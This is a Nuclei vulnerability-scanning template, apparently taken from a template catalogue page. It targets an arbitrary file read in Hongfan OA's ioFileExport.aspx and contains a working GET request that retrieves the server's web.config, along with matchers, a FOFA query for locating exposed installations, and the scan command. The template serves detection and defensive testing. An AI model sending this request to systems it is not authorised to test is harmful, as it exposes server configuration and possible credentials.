Hongfan OA ioFileExport.aspx - Arbitrary File Read

ID: hongfan-ioffice-lfi

Severity: medium

Author: SleepingBag945

Tags: hongfan,lfi

Description

Arbitrary File Read vulnerability in the Hongfan OA ioFileExport.aspx file, through which an attacker can obtain sensitive server information

YAML Source

id: hongfan-ioffice-lfi

info:
  name: Hongfan OA ioFileExport.aspx - Arbitrary File Read
  author: SleepingBag945
  severity: medium
  description: |
    Arbitrary File Read vulnerability in the Hongfan OA ioFileExport.aspx file, through which an attacker can obtain sensitive server information
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E7%BA%A2%E5%B8%86OA/%E7%BA%A2%E5%B8%86OA%20ioFileExport.aspx%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
    - https://github.com/qingchenhh/qc_poc/blob/main/Goby/ioffice_file_read.go
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="红帆-ioffice"
  tags: hongfan,lfi
variables:
  filename: "{{rand_base(5)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/ioffice/prg/set/iocom/ioFileExport.aspx?url=/ioffice/web.config&filename={{filename}}.txt&ContentType=application/octet-stream"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "configSection") && contains(body, "iOfficeUpload")'
          - 'contains(header, "application/octet-stream")'
        condition: and
# digest: 4b0a00483046022100c0e99dc3ce20d55b4b78ccee1b6cb18c1afb7532e3419002fcaf15b441518e94022100832cbc65d3427db42d58d288b578ff3203e528ca2a4a7b02859eac00db76546f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/hongfan-ioffice-lfi.yaml"

View on Github